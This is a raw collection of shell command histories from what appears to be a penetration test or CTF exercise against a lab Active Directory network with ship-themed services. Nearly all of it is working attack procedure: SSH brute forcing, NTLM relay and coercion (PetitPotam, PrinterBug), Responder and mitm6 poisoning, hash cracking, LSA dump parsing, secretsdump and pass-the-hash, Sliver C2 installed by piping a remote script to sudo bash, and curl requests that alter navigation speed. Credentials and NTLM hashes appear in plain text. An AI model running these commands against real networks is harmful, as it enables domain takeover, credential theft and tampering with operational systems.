nxc smb 10.0.1.6 -u '' -p '' --shares
nxc smb 10.0.1.6 -u '' -p '' --spider
nxc smb 10.0.1.6 -u '' -p '' --spider shares
sl
ls
nxc smb --help
nxc smb 10.0.1.6 -u '' -p '' -x 'whoami'
nxc -h
nmap -sV 10.0.1.10 -p 6768
searchsploit bmc
nmap 10.0.1.14 -p 5001 -sV
enum4linux -a 10.0.1.6
enum4linux
enum4linux -A 10.0.1.6
enum4linux -a 10.0.1.21
enum4linux -a 10.0.1.20
mscon
msfconsole
clear
nxc mssql -h
nxc mssql -L
nxc mssql 10.0.1.15 -u 'boatgps' -p 'anchor2024' -M enum_logins
nxc -h
mysql -u boatgps -h 10.0.1.15 -p
mysql -u boatgps -h 10.0.1.15 -p -ssl=FALSE
mysql -u boatgps -h 10.0.1.15 -p --ssl=FALSE
sudo mysql -u boatgps -h 10.0.1.15 -p --ssl=FALSE
mysql -u boatgps -h 10.0.1.15 -p --ssl=FALSE


_raw: : 1762034272:0;git clone https://github.com/r3motecontrol/Ghostpack-CompiledBinaries


_raw: : 1762034270:0;gobuster dir -u http://10.0.1.11:8045 --wordlist /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt


_raw: : 1762034257:0;impacket-GetUserSPNs -target-domain allports.local -dc-ip 10.0.1.6


_raw:
clear
nmap -p- 10.0.1.11
nmap -sV 10.0.1.11 -p 22
nmap -O 10.0.1.11
clear
nmap -p- 10.0.1.11
nmap -sV 10.0.1.11 -p 80
nmap -sV 10.0.1.11 -p 7700
nmap -sV 10.0.1.11 -p 8000
nmap -sV 10.0.1.11 -p 8045
nmap -sV 10.0.1.11 -p 8081
ls
cd db
clear
cd usr
cd /
ls
cd db
clear
ls
ls -la
cd usr
cd share
ls
cd wordlists
ls
clear
ls
cd dirbuster
ls
cd ..
clear
python3 dirsearch.py -u http://bb-a173.rooms.allports.tours/
dirsearch -u http://bb-a173.rooms.allports.tours/
cd /
cd home
ls
dirsearch -u http://bb-a173.rooms.allports.tours/
cd /usr/share
ls
cd wordlists
ls
cd ..
find / -type d -name "reports"
cd /usr/lib/python3/dist-packages/dirsearch
cd lib
ls
clear
dirsearch -u http://bb-a173.rooms.allports.tours/
cd reports
dirsearch -u http://bb-a173.rooms.allports.tours/
cd ..
dirsearch -u http://bb-a173.rooms.allports.tours/
sudo dirsearch -u http://bb-a173.rooms.allports.tours/
clear
searchsploit mysql
searchsploit mysql 5.7.44
msfconsole
sudo dirsearch -u http://10.0.1.11
nslookup Penny.allports.local
nslookup Penny.allports.local 10.0.1.6
nslookup Penny.allports.local 10.0.1.6:3080
nslookup Penny.allports.local:3080 10.0.1.6
sudo dirsearch -u http://10.0.1.99
sudo dirsearch -u http://10.0.1.30
sudo dirsearch -u http://10.0.1.30:8096
cd /usr
cd wordlists
ls
cd share
cd wordlists
clear
hydra ls
sudo apt install seclists
ls
cd seclists
ls
cd usernames
ls
cd Usernames
ls
sudo hydra -L /usr/share/wordlists/seclists/Usernames -P /usr/share/wordlists/rockyou.txt
cd ..
ls
gunzip rockyou.txt.gz
sudo gunzip rockyou.txt.gz
ls
sudo hydra -L /usr/share/wordlists/seclists/Usernames -P /usr/share/wordlists/rockyou.txt
nano listofknownusers.txt
sudo nano listofknownusers.txt
sudo hydra -L /usr/share/wordlists/listofknownusers.txt -P /usr/share/wordlists/rockyou.txt
cat listofknownusers.txt
sudo hydra -L /usr/share/wordlists/listofknownusers.txt -P /usr/share/wordlists/rockyou.txt -t 3 ssh://10.0.1.10
sudo hydra -L /usr/share/wordlists/listofknownusers.txt -P /usr/share/wordlists/rockyou.txt -v -t 3 ssh://10.0.1.10
sudo hydra -L /usr/share/wordlists/listofknownusers.txt -P /usr/share/wordlists/rockyou.txt -vv -t 3 ssh://10.0.1.10
ls
cd seclists
ls
cd Passwords
ls
sudo hydra -L /usr/share/wordlists/listofknownusers.txt -P /usr/share/wordlists/seclists/Passwords/Default-Credentials -vv -t 3 ssh://10.0.1.10
ping 10.0.1.10
sudo hydra -L /usr/share/wordlists/listofknownusers.txt -P /usr/share/wordlists/seclists/Passwords/Default-Credentials -vv -t 3 ssh://10.0.1.11
ssh user@10.0.1.11
sudo dirsearch -u http://10.0.1.0:6768
sudo dirsearch -u http://10.0.1.10:6768
ping 10.0.1.10
sudo dirsearch -u http://10.0.1.10:6768
sudo dirsearch -u http://10.0.1.11:8000
sudo dirsearch -u http://10.0.1.14:80
sudo dirsearch -u http://10.0.1.14:443
sudo dirsearch -u http://10.0.1.15:8090
sudo dirsearch -u http://10.0.1.15:8080
sudo dirsearch -u http://10.0.1.15:8081
sudo dirsearch -u http://10.0.1.15:8091
clea
clear
ssh boatgps@10.0.1.15
clear
ssh webmaster@10.0.1.15
sudo hydra -l webmaster -P /usr/share/wordlists/seclists/Passwords/Default-Credentials -vv -t 3 ssh://10.0.1.15
clear
mysql -u boatgps
mysql -u boatgps -p
mysql -u boatgps -p -h 10.0.1.15
mysql -u boatgps -p -h 10.0.1.15 -P 3306
mysql --ssl-mode=DISABLED -u boatgps -p -h 10.0.1.15 -P 3306
sudo dirsearch -u https://chat.allports.tours
sudo dirsearch -u https://chat.allports.tours/login/
sudo dirsearch -u https://bb-a173.rooms.allports.tours
sudo dirsearch -u https://bb-a173.rooms.allports.tours/admin.html?authorized=true
sudo dirsearch -u http://bb-a173.rooms.allports.tours/admin.html?authorized=true


_raw: : 1762034239:0;impacket-GetUserSPNs allports.local -dc-ip 10.0.1.6


_raw: : 1762034237:0;gobuster dir -u http://10.0.1.11:8045 --wordlist /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-files.txt


_raw: : 1762034210:0;git clone https://github.com/GhostPack/Rubeus


_raw: : 1762034192:0;smbclient -L //$ALLPORT.TOURS -U ""


_raw:
: 1762034192:0;# Null session check\
smbclient -L //10.0.1.6 -N\
\
# Share enumeration with creds (if you have any)\
smbclient //10.0.1.6/SYSVOL -U 'domain\user%password'\
\
# Enum4linux-ng (fast)\
enum4linux-ng -A 10.0.1.6


_raw: : 1762034172:0;enum4linux-ng -A Deckhand-02.allports.local


_raw:
cat ../chalhash
ls
cat ../../timeroast
cat proof.txt
python3 ntlmv1.py
pip3 install pycryptodome
python3 ntlmv1.py
python3 ntlmv1.py --ntlmv1 "APT-DC-01$::APT:9DCB6F31D6E33496DC1D615AB14940B5994F7BD76FA778DD:9DCB6F31D6E33496DC1D615AB14940B5994F7BD76FA778DD:1122334455667788"
which bloodhound
which bloodhound-ce
uv tool install git+https://github.com/dirkjanm/BloodHound.py.git@bloodhound-ce
sudo apt install bloodhound
sudo bloodhound --sandbox
vim /etc/bhapi/bhapi.json
sudo vim /etc/bhapi/bhapi.json
sudo bloodhound --sandbox
ps aux | grep bloodhound
sudo kill -9 763243
cat ../../password.txt
sudo kill -9 763243
sudo bloodhound --sandbox
ip a s
ls
python3 ntlmv1.py --ntlmv1 "APT-DC-01$::APT:9DCB6F31D6E33496DC1D615AB14940B5994F7BD76FA778DD:9DCB6F31D6E33496DC1D615AB14940B5994F7BD76FA778DD:1122334455667788"
cat ../../password.txt
vim targetlist.txt
ntlmrelayx.py -6 -tf targetlist.txt -wh fake.allports.local -l output
ntlmrelayx.py -6 -tf targetlist.txt -wh fake.allports.local -l output -smb2support
ntlmrelayx.py -6 -tf targetlist.txt -wh fake.allports.local -l output -smb2support --remove-mic
cat ../../password.txt
rustscan -a 10.0.1.99 --ulimit 5000 -- -Pn -n -T4 -A


_raw:
which rpcinfo
rpcinfo --help
rpcinfo -p 10.0.1.6
rpcinfo 10.0.1.6
rpcinfo -n 135 10.0.1.6
clear
ls
netexec ssh 10.0.1.0/24
netexec smb 10.0.1.6 -u Administrator -p ''
netexec smb 10.0.1.6 -u '' -p ''
netexec smb 10.0.1.6 -u '' -p '' --users
netexec smb 10.0.1.6 -u '' -p '' --shares
netexec smb 10.0.1.6 -u '' -p '' --help
netexec smb 10.0.1.6 -u '' -p ''
netexec smb 10.0.1.20 -u '' -p ''
netexec smb 10.0.1.20 -u 'guest' -p ''
netexec smb 10.0.1.21 -u 'guest' -p ''
netexec smb 10.0.1.21 -u '' -p ''
uv tool install rpcclient
rpcclient //APT-DC-01/
rpcclient -U '' APT-DC-01.allports.local
netexec ldap 10.0.1.6 --help
netexec ldap 10.0.1.6
netexec smb 10.0.1.6 -M coerce_plus
netexec smb 10.0.1.6 -u '' -p '' -M coerce_plus
netexec smb 10.0.1.6 -u '' -p '' -M coerce_plus -o L=10.0.254.201
netexec smb 10.0.1.6 -u '' -p '' -M coerce_plus -o L=10.0.254.201 --help
netexec smb 10.0.1.6 -u '' -p '' -M coerce_plus -o L=10.0.254.201 --options
netexec smb 10.0.1.6 -u '' -p '' -M coerce_plus -o -M=Printerbug L=10.0.254.201
netexec smb 10.0.1.6 -u '' -p '' -M coerce_plus -o M=Printerbug L=10.0.254.201
netexec smb 10.0.1.6 -u '' -p '' -M coerce_plus -o M=Printerbug -o L=10.0.254.201
john --format=netntlm hash
john --format=netntlm hash -w=/usr/share/wordlists/rockyou.txt
ntlmrelayx.py
ntlmrelayx.py -t ldap://10.0.1.20 -i -smb2support -domain allports.local
netexec smb 10.0.1.6 -u '' -p '' -M coerce_plus -o M=Printerbug -o L=10.0.254.201
netexec smb 10.0.1.6 -u '' -p '' -M coerce_plus -o M=PetitPotam -o L=10.0.254.201
cat hash
vim /etc/responder/Responder.conf
cat password.txt
sudo vim /etc/responder/Responder.conf
sudo responder -I eth0 --lm
netexec smb 10.0.1.6 -u '' -p '' -M coerce_plus -o M=PetitPotam -o L=10.0.254.201
cat hash
netexec smb 10.0.1.6 -u '' -p '' -M zerlogon
netexec smb 10.0.1.6 -u '' -p '' -M zerologon
netexec smb 10.0.1.6 -u '' -p '' --rid-brute
netexec smb 10.0.1.6 -u '' -p '' -L
netexec smb 10.0.1.6 -u '' -p '' -M ntlmv1
netexec smb 10.0.1.6 -u '' -p '' -M timeroast
hashcat -a 0 -m 31300
vim timeroast
hashcat -a 0 -m 31300 timeroast /usr/share/wordlists/rockyou.txt -o time.out
wget https://hashcat.net/beta/hashcat-7.1.2%2B338.7z
ls
sudo apt install 7zip
7z
7z e hashcat-7.1.2+338.7z
ls
./hashcat
chmod +x hashcat
cd bin
ls
ls | grep hashcat
./hashcat.sh
cd hashcat-7.1.2
ls
ls -alh
cd ../
tree
tree | grep hashcat
./hashcat.bin
./hashcat.bin -a 0 -m 31300 timeroast /usr/share/wordlists/rockyou.txt -o ../time.out
sudo ./hashcat.bin -a 0 -m 31300 timeroast /usr/share/wordlists/rockyou.txt -o ../time.out
sudo ./hashcat.bin -m 31300 timeroast /usr/share/wordlists/rockyou.txt -o ../time.out
ls
mkdir hashcat
cd hashcat
ls
wget https://hashcat.net/beta/hashcat-7.1.2%2B338.7z
ls
sudo 7z e hashcat-7.1.2+338.7z
ls
./hashcat.bin
./hashcat.bin -a 0 -m 31300 ../timeroast /usr/share/wordlists/rockyou.txt -o time.out
responder --help
netexec smb 10.0.1.6 -u '' -p '' -M coerce_plus -o M=PetitPotam -o L=10.0.254.201
ls
cd
clear
ls
cd ../
ls
cd pentester
ls
mkdir test
cd test
ls
clear
ls
mv ../hash .
ls
cat hash
vim chalhash
cd ../
ls
mv ntlmv1-multi ../test
cd ../
ls
cd pentester
mv ntlmv1-multi test/
cd test
ls
cd ntlmv1-multi
ls
pipenv shell


_raw: : 1762034153:0;nxc smb Deckhand-02.allports.local


_raw: : 1762034147:0;nxc smb Deckhand-02.allports.local --users


_raw:
ls
python3 -m http.server 80
ls
uv tool install pypykatz
python3 -m pypykatz lsa minidump test.dmp
ls
export KRB5CCNAME=svc_stabilize.ccache
netexec ldap APT-DC-01.allports.local -k --use-kcache
ls
wget https://github.com/peass-ng/PEASS-ng/releases/download/20251101-a416400b/winPEASx64.exe
mv winPEASx64.exe winpeas.exe
l
cd Ghostpack-CompiledBinaries
ls
mv SharpDPAPI.exe ../
cd ../
ls
rustscan -a 10.0.1.30 --ulimit 5000 -- -Pn -n -T4 -A


_raw: : 1762034140:0;nxc smb Deckhand-02.allports.local --shares


_raw:
nmap -p- $ip
nmap $ip -p-
nmap 10.0.1.15 -p-
curl -X POST \\
  -H "Content-Type: application/json" \\
  -d '{"speed": 24}' \\
  http://10.0.1.15:8080/api/navigation.php?action=speed
curl -X POST \\
  -H "Content-Type: application/json" \\
  -d '{"speed_knots": 24}' \\
  http://10.0.1.15:8080/api/navigation.php?action=speed
curl -X POST \\
  -H "Content-Type: application/json" \\
  -d '{"speed_knots": 25}' \\
  http://10.0.1.15:8080/api/navigation.php?action=speed
curl -X GET http://10.0.1.15:8080/api/navigation.php?action=speed
curl -X POST \\
  -H "Content-Type: application/json" \\
  -d '{"speed_knots": 24}' \\
  http://10.0.1.15:8080/api/navigation.php?action=speed
curl -X GET http://10.0.1.15:8080/api/navigation.php?action=speed
curl -X POST \\
  -H "Content-Type: application/json" \\
  -d '{"speed_knots": 25}' \\
  http://10.0.1.15:8080/api/navigation.php?action=speed
curl -X GET http://10.0.1.15:8080/api/navigation.php?action=speed
curl -X GET http://bb-b143.rooms.allports.tours/api/emergency/
burp
burpsuite
nmap -p- 10.0.1.10
nmap 10.0.1.10
nmap 10.0.1.14
ping bb-a173.rooms.allports.tours
-.


_raw:
wget wget https://raw.githubusercontent.com/hausec/Bloodhound-Custom-Queries/refs/heads/master/customqueries.json
ls
mkdir -p ~/.config/bloodhound
cp customqueries.json ~/.config/bloodhound/
clear
ls
cat hash
cd chalhash
cat chalhash
cd ntlmv1-multi
ls
pipenv shell
pip3 install pycryptodome
python3 ntlmv1.py
python3 ntlmv1.py --ntlmv1 "APT-DC-01$::APT:9DCB6F31D6E33496DC1D615AB14940B5994F7BD76FA778DD:9DCB6F31D6E33496DC1D615AB14940B5994F7BD76FA778DD:1122334455667788"
uv tool install enum4linux-ng
uv tool install enum4linux
cat ../../password.txt
sudo apt install enum4linux-ng
enum4linux-ng -a 10.0.1.6
enum4linux-ng -A 10.0.1.6
enum4linux-ng -A 10.0.1.6 -U svc_stabilize -P '1gyroscope'
enum4linux-ng -A 10.0.1.6 -k svc_stabilize -p '1gyroscope'
enum4linux-ng -A 10.0.1.6 -u svc_stabilize -p '1gyroscope'
dig -axfr allports.local
dig -axfr @allports.local
dig axfr @allports.local
dig axfr 10.0.1.6 @allports.local
dig axfr @allports.local 10.0.1.6
uv tool install mitm6
mitm6 -d allports.local
sudo mitm6 -d allports.local
sudo uv tool install mitm6
sudo apt install mitm6
sudo mitm6 -d allports.local
findDelegation.py
findDelegation.py allports.local/svc_stabilize:'1gyroscope'
rustscan -a 10.10.1.21 --ulimit 5000
nmap -Pn -T4 10.10.1.21 -p-
nmap -Pn -T4 10.10.1.21 -p- -v
nmap -Pn -T4 10.10.1.21 -p- -v -n -sT
rustscan -a 10.10.1.21 --ulimit 5000
cd ../
clear
ls
rustscan -a 10.0.1.6 --ulimit 5000 -- -n -T4
rustscan -a 10.0.1.6 --ulimit 5000 -- -n -T4 -A
rustscan -a 10.0.1.10 --ulimit 5000 -- -n -T4 -A
rustscan -a 10.0.1.11 --ulimit 5000 -- -n -T4 -A
rustscan -a 10.0.1.14 --ulimit 5000 -- -n -T4 -A
rustscan -a 10.0.1.15 --ulimit 5000 -- -n -T4 -A
rustscan -a 10.0.1.20 --ulimit 5000 -- -Pn -n -T4 -A


_raw:
ntlmrelayx.py -t ldap://10.0.1.20 -i -smb2support -domain allports.local
ntlmrelayx.py -t ldap://10.0.1.21 -i -smb2support -domain allports.local
ntlmrelayx.py --help
ntlmrelayx.py -t ldaps://10.0.1.6 -i -smb2support -domain allports.local
ntlmrelayx.py -t ldap://10.0.1.6 -i -smb2support -domain allports.local
ntlmrelayx.py -t smb://10.0.1.6 -i -smb2support -domain allports.local
ntlmrelayx.py -t smb://10.0.1.6 -i -smb2support -domain allports.local --remove-targer
ntlmrelayx.py -t smb://10.0.1.6 -i -smb2support -domain allports.local --remove-target
ntlmrelayx.py -t smb://10.0.1.20 -i -smb2support -domain allports.local
ntlmrelayx.py -t smb://10.0.1.21 -i -smb2support -domain allports.local
ntlmrelayx.py -t 10.0.1.21 -i -smb2support -domain allports.local
ntlmrelayx.py -t 10.0.1.6 -i -smb2support -domain allports.local
ntlmrelayx.py -t 10.0.1.21 -i -smb2support -domain allports.local
ntlmrelayx.py -t ldap://10.0.1.6 -i -smb2support -domain allports.local --remove-mic
ntlmrelayx.py -t smb://10.0.1.20 -i -smb2support -domain allports.local --remove-mic
ntlmrelayx.py -t smb://10.0.1.21 -i -smb2support -domain allports.local --remove-mic
netexec smb 10.0.1.0/24 --gen-relay-list relay.txt
ls
cat relay.txt
ntlmrelayx.py -tf relay.txt -domain allports.local --remove-mic
ntlmrelayx.py -tf relay.txt -domain allports.local --smb2support --remove-mic
ntlmrelayx.py -tf relay.txt -domain allports.local -smb2support --remove-mic
ntlmrelayx.py -tf relay.txt -domain allports.local -smb2support --remove-mic -i
sudo responder -I eth0 --lm
sudo responder -I eth0 --disable-ess
git
git clone https://github.com/evilmog/ntlmv1-multi.git
cd ntlmv1-multi
ls
python3 ntlmv1.py --ntlm "APT-DC-01$::APT:1B27BAFA83A1A2BA00000000000000000000000000000000:224489349DEFD711C0CCECB85AF30DE9398237C9BB873863:3396880715a0f400"
cat password
cat password.txt
ls
cat ../password.txt
pip3
pip3 install pycryptodome
pip3 install pycryptodomex
sudo apt install python3-pycryptodomex
sudo apt install python3-pycryptodome
sudo apt install python3-pycrypto
sudo apt install python3-crypto
python3 ntlmv1.py --ntlm "APT-DC-01$::APT:1B27BAFA83A1A2BA00000000000000000000000000000000:224489349DEFD711C0CCECB85AF30DE9398237C9BB873863:3396880715a0f400"
cd /etc/responder
ls
cat Responder.conf
cd
ls
ls -a
cat relay.txt
cd ntlmv1-multi
ls
cat ntlmv1.txt
cat hash
cat ../hash
cat /etc/responder/Responder.conf
ls
pipenv shell
pip3 install pycrypto
which easy_install
sudo apt install easy_install
pip3 install pycryptodome
python3 ntlmv1.py
python3 ntlmv1.py --ntlmv1 "APT-DC-01$::APT:1B27BAFA83A1A2BA00000000000000000000000000000000:224489349DEFD711C0CCECB85AF30DE9398237C9BB873863:3396880715a0f400" --json
python3 ntlmv1.py --ntlmv1 "APT-DC-01$::APT:1B27BAFA83A1A2BA00000000000000000000000000000000:224489349DEFD711C0CCECB85AF30DE9398237C9BB873863:3396880715a0f400"
./ct3_to_ntlm.bin 398237C9BB873863 3396880715a0f400 1B27BAFA83A1A2BA00000000000000000000000000000000
ls
which jq
sudo apt install jq
python3 ntlmv1.py --ntlmv1 "APT-DC-01$::APT:1B27BAFA83A1A2BA00000000000000000000000000000000:224489349DEFD711C0CCECB85AF30DE9398237C9BB873863:3396880715a0f400" --json | jq
sudo apt install hashcat-utils
ls
vim 14000.hash
hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset 14000.hash ?1?1?1?1?1?1?1?1
find / -name 'DES_full.charset' 2>/dev/null
ip a s
ls
cd resources
ls
cd ../
ls
cd newgen
ls
cd ../
cd grr
ls
cat multi.txt
cd ../
clear
ls
cat 14000.hash
wget https://raw.githubusercontent.com/brannondorsey/naive-hashcat/refs/heads/master/hashcat-3.6.0/charsets/DES_full.charset
ls
hashcat -m 14000 -a 3 -1 DES_full.charset --hex-charset 14000.hash ?1?1?1?1?1?1?1?1
rustscan -a 10.0.1.14 --ulimit 5000 -- -Pn -A -n -T4 -oN ../scan.14
rustscan -a 10.0.1.11 --ulimit 5000 -- -Pn -A -n -T4 -oN ../scan.14
rustscan -a 10.0.1.99 --ulimit 5000 -- -Pn -A -n -T4 -oN ../scan.14
rustscan -a 10.0.1.14 --ulimit 5000 -- -Pn -A -n -T4 -oN ../scan.14
rustscan -a 10.0.1.15 --ulimit 5000 -- -Pn -A -n -T4 -oN ../scan.14
ls
hashcat -v
hashcat --version
sudo apt purge hashcat -y
uv tool install hashcat
hashcat
hashcat --version
hashcat -a 0 -m 31300 ../timeroast /usr/share/wordlists/rockyou.txt -o roast.cracked
hashcat -a 0 -m 31300 ../timeroast /usr/share/wordlists/rockyou.txt -o roast.cracked -O
hashcat -a 0 -m 5500 ../hash /usr/share/wordlists/rockyou.txt -o ntlm.cracked -O
sudo responder -I eth0 -v --disable-ess
sudo responder -I eth0 -v --disable-ess --lm
ip a s
netexecd ../
ls
cd ../
ls
cat output


_raw:
netexec smb APT-DC-01.allports.local -u deckhand-01$ -H 'd264da0973884f7e9e0146aa626cc989'
netexec smb APT-DC-01.allports.local -u deckhand-01$ -H 'd264da0973884f7e9e0146aa626cc989' --shares
ls
git clone https://github.com/r3motecontrol/Ghostpack-CompiledBinaries.git
ls
cd Ghostpack-CompiledBinaries
ls
mv Rubeus.exe ../
mv Seatbelt.exe ../
ls
cd ../
ls
ip a s
python3 -m http.server 80
mv Booking\ Service.exe booking_service.exe
python3 -m http.server 80
ls
nmap -Pn -T4 -A -sU -p- 10.0.1.0/24
nmap -Pn -T4 -A -sU -p- 10.0.1.0/24 -v
nmap -Pn -T4 -A -sU -p- 10.0.1.0/24 -v -n -oN udp.scan
rustscan --help
rustscan -a 10.0.1.0/24 --ulimit 5000 --udp
rustscan -a 10.0.1.30 --ulimit 5000
rustscan -a 10.0.1.0/24 --ulimit 5000
nmap -Pn -T4 -A -sT -p- 10.0.1.0/24 -v -n -oN full.scan --open
nmap -Pn -T4 -A -sT -p- 10.0.1.0/24 -v -n --min-rate=10000  -oN full.scan --open


_raw: : 1762033990:0;linWinPwn -t 10.0.1.6 -o ./ --auto -U /usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt


_raw: : 1762033976:0;impacket-GetNPUsers allports.local/ -dc-ip 10.0.1.6 -usersfile users.txt -format hashcat -format hashcat -outputfile twin.txt


_raw: : 1762033970:0;rm -rf linWinPwn_allports.local


_raw:
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.0.1.11/login/FUZZ -fw 629
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.0.1.11/forgot-password/FUZZ -fw 629
nmap -sV -sC 10.0.1.11
mongosh
sudo apt install mongosh
mongosh
mongo
mongo mongodb://admin:password@10.0.1.11:8081/local
mongo mongodb://admin:password@6457a57b9481:8081/
mongo mongodb://admin:password@6457a57b9481:8081/local
mongosh
mongodb
mongo
update mongo
sudo apt update mongo
apt get install mongodb
mongo
sudo dpkg -i mongodb-mongosh
sudo apt-get install gnupg curl
mongo
mongosh
sudo apt install mongosh
mongosh


_raw: : 1762033962:0;nxc smb Deckhand-01.allports.local --shares


_raw:
nmap -sC -sV -p- 10.0.1.254
nmap -T4 -A -p 9697 10.0.1.254
nmap -sC -sV -vv 10.0.1.254
cd /usr/share/seclists
ls
cd Passwords
ls
cat months.txt
vim custom_allports.txt
sudo vim custom_allports.txt
feroxbuster -u http://10.0.1.15:8081
ffuf -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints-res.txt -u http://10.0.1.15:8801/FUZZ
ffuf -w /usr/share/seclists/Discovery/Web-Content/Web-Servers/nginx.txt -u http://10.0.1.15:8801/FUZZ
ffuf -u http://10.0.1.15:8801/FUZZ
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -u http://10.0.1.15:8801/FUZZ
feroxbuster -u http://10.0.1.15:8081
feroxbuster -u http://10.0.1.15:8090
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -u http://10.0.1.15:8090/FUZZ
ffuf -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -u http://10.0.1.15:8090/FUZZ
ffuf -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -u http://10.0.1.15:8801/FUZZ
ffuf -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -u http://10.0.1.15:8090/FUZZ
ffuf -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -u http://10.0.1.15:8090/?route=FUZZ
ffuf -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints-res.txt -u http://10.0.1.15:8090/?route=FUZZ
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -u http://10.0.1.15:8090/?route=FUZZ
echo 47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU= | base64 -d
shutdown 0
sudo shutdown 0


_raw: : 1762033953:0;nxc smb Deckhand-01.allports.local --users


_raw: : 1762033946:0;nxc smb Deckhand-01.allports.local


_raw:
ls
cd /usr/share/wordlists
ls
gunzip rockyou.txt.gz
sudo gunzip rockyou.txt.gz
ls
cd
ls
cd Documents
ls
gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 16
ssh anonymous@10.0.1.11
gobuster dir -u http://10.0.1.99 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 16
gobuster dir -u http://10.0.1.99 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 16
gobuster dir -u http://10.0.1.99:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 16
gobuster dir -u http://10.0.1.99:8080/dashboard -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 16
gobuster dir -u http://10.0.1.15:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 16
gobuster dir -u http://10.0.1.15:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 16 -x php.js.txt.html
sudo vim /etc/resolv.conf
service networking restart
sudo vim /etc/resolv.conf
resolvconf -u
sudo resolvconf -u
sudo vim /etc/resolv.conf
git clone https://github.com/lefayjey/linWinPwn\
cd linWinPwn\
chmod +x install.sh\
./install.sh
ls
gobuster dir -u http://10.0.1.15:8090 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u http://10.0.1.14 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 16
gobuster dir -u http://10.0.1.14:5001 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 16
gobuster dir -u http://10.0.1.14:5001 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 16 --exclude-lentgth 144
gobuster dir -u http://10.0.1.14:5001 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 16 --exclude-length 144
gobuster dir -u http://10.0.1.14 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 16 --exclude-length 144
gobuster dir -u http://10.0.1.14 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 16 --exclude-length 169
gobuster dir -u https://10.0.1.14 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 16 --exclude-length 169
gobuster dir -u https://10.0.1.14 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 16 --exclude-length 169 -x php,js,txt
gobuster dir -u http://10.0.1.14 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 16 --exclude-length 169 -x php,js,txt
gobuster dir -u https://10.0.1.14 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 16 --exclude-length 169 -x php,js,txt -k
gobuster dir -u https://10.0.1.14 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 16 --exclude-length 169 -k
gobuster dir -u https://10.0.1.14 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 16 -k
sudo nmap -sU -p- 10.0.1.14
sudo nmap -sU -p 10.0.1.14


_raw:
ip a s
ps aux
ss -tulpn
ls
ip a s
python3 -m http.server 80
sliver-client import talon_10.0.254.201.cfg
sliver-client


_raw:
curl https://sliver.sh/install|sudo bash
sliver-server


_raw: : 1762033879:0;git clone https://github.com/arth0sz/AD-network-scanning-script


_raw: : 1762033872:0;linWinPwn -t 10.0.1.6 -o ./ --auto -U /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt


_raw: : 1762033868:0;git clone https://raw.githubusercontent.com/arth0sz/AD-network-scanning-script


_raw: : 1762033844:0;impacket-secretsdump allports.local/administrator:a4fa38e8e61d094ab455cecda06105d3@10.0.1.6 -k


_raw: : 1762033840:0;sudo apt --fix-broken install\


_raw: : 1762033834:0;sudo apt-mark unhold zeek\


_raw: : 1762033833:0;impacket-secretsdump allports.local/administrator:a4fa38e8e61d094ab455cecda06105d3@10.0.1.20 -k


_raw:
nmap -sV --script=vuln 10.0.1.21
nmap --script=vuln 10.0.1.21
nmap -sV 10.0.1.21
msfconsole
nmap -sV 10.0.1.11


_raw: : 1762033825:0;dpkg --get-selections | grep hold\


_raw: : 1762033726:0;linWinPwn --userwordlist usr/share/seclists/Usernames/xato-net-10-million-usernames.txt


_raw: : 1762033649:0;linWinPwn -U '/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt'


_raw: : 1762033642:0;git clone https://github.com/eversinc33/JailWhale.git


_raw: : 1762033640:0;linWinPwn -U /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt


_raw: : 1762033624:0;impacket-GetNPUsers allports.local/ -dc-ip 10.0.1.6 -usersfile users.txt -format hashcat -format hashcat -outputfile twin.txt


_raw: : 1762033603:0;impacket-GetNPUsers allports.local/ --dc-ip 10.0.1.6 -usersfile users.txt -format hashcat -format hashcat -outputfile twin.txt


_raw: : 1762033546:0;rm -rf linWinPwn_allports.local


_raw:
cat ip.txt
hydra -l boatgps -p anchor2024 -M ip.txt ssh
xfreerdp3 /v:10.0.1.21
clear
mysqldump -h 10.0.1.15 -u boatgps -p gps_tracker ship_systems > ship.sql --ssl=FALSE
nxc smb 10.0.1.6 -u '' -p ''
xfreerdp3 /v:10.0.1.21


_raw:
mysql
mysql -help
mysql --help
clear
